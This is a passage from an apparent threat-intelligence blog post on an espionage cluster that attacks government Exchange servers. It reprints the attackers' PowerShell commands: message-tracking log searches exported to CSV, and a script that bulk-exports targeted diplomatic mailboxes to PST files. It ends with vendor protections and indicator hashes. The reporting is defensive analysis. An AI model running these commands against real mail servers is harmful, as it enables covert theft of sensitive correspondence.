powershell.exe -psconsolefile "C:\Program files\microsoft\exchange server\v15\bin\exshell.psc1" -command "Get-MessageTrackingLog -ResultSize Unlimited | Where-Object {$_.Recipients -like \"*@<redacted>.gov.<redacted>\"}| select-object Sender,{$_.Recipients},{$_.MessageSubject} | export-csv c:\users\public\<redacted>\<redacted>.csv"

 

powershell.exe -psconsolefile "C:\Program files\microsoft\exchange server\v15\bin\exshell.psc1" -command "Get-MessageTrackingLog -ResultSize Unlimited | Where-Object {$_.sender -like \"*@<redacted>.gov.<redacted>\"}| select-object Sender,{$_.Recipients},{$_.MessageSubject} | export-csv c:\users\public\<redacted>\<redacted>.csv"

 

In addition to the command lines above, other searches for specific content (using the filter “($_.MessageSubject -like '*<redacted>*')”) were observed as well. Those searches were for very specific individuals and information related to highly sensitive stately and foreign policy matters.

Add PowerShell snap-in (PSSnapins) to steal emails

In the second method, we observed the execution of multiple PowerShell scripts that add PowerShell snap-ins of Exchange, to allow the attackers to manage the Exchange server and steal emails.

Below is a snippet of the script which originally contained over 30 targeted mailboxes of individuals, embassies, military-related organizations, and others.

 

\r\n$date=(Get-Date).AddDays(-3);\r\n$server=$env:computername;\r\n$path=\"\\\\\\\\$server\\\\c$\\\\users\\\\public\\\\libraries\\\\\" + [Guid]::newGuid().ToString();\r\nmkdir $path;\r\nAdd-PSSnapin Microsoft.Exchange.Management.Powershell.E2010;\r\n$culture = [System.Globalization.CultureInfo]::CreateSpecificCulture(\"en-US\");\r\n$culture.NumberFormat.NumberDecimalSeparator = \".\";\r\n$culture.NumberFormat.NumberGroupSeparator = \",\";\r\n[System.Threading.Thread]::CurrentThread.CurrentCulture = $culture;\r\n$filter = \"(Received -ge'$date') -or (Sent -ge'$date')\";\r\nNew-MailboxExportRequest -Name Request1 -Mailbox '<redacted>.atlanta' -ContentFilter $filter -FilePath \"$path\\\\<redacted>.atlanta.pst\";\r\nNew-MailboxExportRequest -Name Request2 -Mailbox '<redacted>.Kuwait' -ContentFilter $filter -FilePath \"$path\\\\<redacted>.Kuwait.pst\";\r\nNew-MailboxExportRequest -Name Request3 -Mailbox '<redacted>.Ankara' -ContentFilter $filter -FilePath \"$path\\\\<redacted>.Ankara.pst\";\r\nNew-MailboxExportRequest -Name Request4 -Mailbox '<redacted>.Paris' -ContentFilter $filter -FilePath \"$path\\\\<redacted>.Paris.pst\";\r\nNew-MailboxExportRequest -Name Request5 -Mailbox 'permanentsecretary' -ContentFilter $filter -FilePath \"$path\\\\permanentsecretary.pst\";\r\n# New-MailboxExportRequest -Name Request6 -Mailbox '<redacted> Press Office' -ContentFilter $filter -FilePath \"$path\\\\<redacted>.Press.Office.pst\";

 

The output of those scripts were saved into .tiff files, under “c:\users\public\<redacted>”, which were later compressed, password-protected and sent to the attacker’s C2 server as well.

Figure 10. Exchange management shell abuse, as shown in Cortex XDR & XSIAM.
Figure 10. Exchange management shell abuse, as shown in Cortex XDR & XSIAM.

 

Figure 11. Identity analytics alert for 7zip process accessing outlook files, as shown in the Cortex XDR & XSIAM.
Figure 11. Identity analytics alert for 7zip process accessing outlook files, as shown in the Cortex XDR & XSIAM.

 

Conclusion

In this blog, we uncovered several previously unreported and rare techniques and tools observed used by a cluster of activity we refer to as CL-STA-0043. While the research is still ongoing, and the full identity of the threat actor/s is still being studied, we believe that the level of sophistication, determination and espionage motives demonstrated in this report, bear the hallmarks of a true advanced persistent threat, potentially operating on behalf of nation-state interests. In the same vein, this sheds light on how threat actors seek to obtain non-public and confidential information about geopolitical related topics and high-ranking public service individuals.

 

Protections and Mitigations

During the attacks, Cortex XDR & XSIAM raised many alerts for the malicious activities observed in CL-STA-0043. Prevention and detection alerts were raised for each phase of the attack: the initial access attempts, the use of rare tools and the advanced technique, and for the data exfiltration attempts.

SmartScore, a unique ML-driven scoring engine that translates security investigation methods and their associated data into a hybrid scoring system, scored this incident a 100 score - the highest level of risk.

 

Figure 12. SmartScore information about the incident
Figure 12. SmartScore information about the incident

 

For Palo Alto Networks customers, our products and services provide the following coverage associated with this group:

Cortex XDR detects user and credential-based threats by analyzing user activity from multiple data sources including endpoints, network firewalls, Active Directory, identity and access management solutions, and cloud workloads. It builds behavioral profiles of user activity over time with machine learning. By comparing new activity to past activity, peer activity, and the expected behavior of the entity, Cortex XDR detects anomalous activity indicative of credential-based attacks.

It also offers the following protections related to the attacks discussed in this post:

  • Prevents the execution of known malicious malware and also prevents the execution of unknown malware using Behavioral Threat Protection and machine learning based on the Local Analysis module.
  • Protects against credential gathering tools and techniques using the new Credential Gathering Protection available from Cortex XDR 3.4.
  • Protects from threat actors dropping and executing commands from webshells using Anti Webshell Protection, newly released in Cortex XDR 3.4.
  • Protects against exploitation of different vulnerabilities including ProxyShell and ProxyLogon using the Anti-Exploitation modules as well as Behavioral Threat Protection.
  • Cortex XDR Pro detects post-exploit activity, including credential-based attacks, with behavioral analytics.

If you think you may have been impacted or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

North America Toll-Free: 866.486.4842 (866.4.UNIT42)

EMEA: +31.20.299.3130

APAC: +65.6983.8730

Japan: +81.50.1790.0200

 

Indicators Of Compromise

Yasso

6b37aec6253c336188d9c8035e90818a139e3425c6e590734f309bd45021f980

Credential Dumping Tool (sam.exe)

77a3fa80621af4e1286b9dd07edaa37c139ca6c18e5695bc9b2c644a808f9d60

iislpe.exe

73b9cf0e64be1c05a70a9f98b0de4925e62160e557f72c75c67c1b8922799fc4

SMBexec

E781ce2d795c5dd6b0a5b849a414f5bd05bb99785f2ebf36edb70399205817ee

nbtscan

0f22e178a1e1d865fc31eb5465afbb746843b223bfa0ed1f112a02ccb6ce3f41

Ladon

291bc4421382d51e9ee42a16378092622f8eda32bf6b912c9a2ce5d962bcd8f4

aa99ae823a3e4c65969c1c3aa316218f5829544e4a433a4bab9f21df11d16154

ddcf878749611bc8b867e99d27f0bb8162169a8596a0b2676aa399f0f12bcbd7

ntos.dll

bcd2bdea2bfecd09e258b8777e3825c4a1d98af220e7b045ee7b6c30bf19d6df

 

Additional Resources

 


Subscribe to the Newsletter!

Sign up to receive must-read articles, Playbooks of the Week, new feature announcements, and more.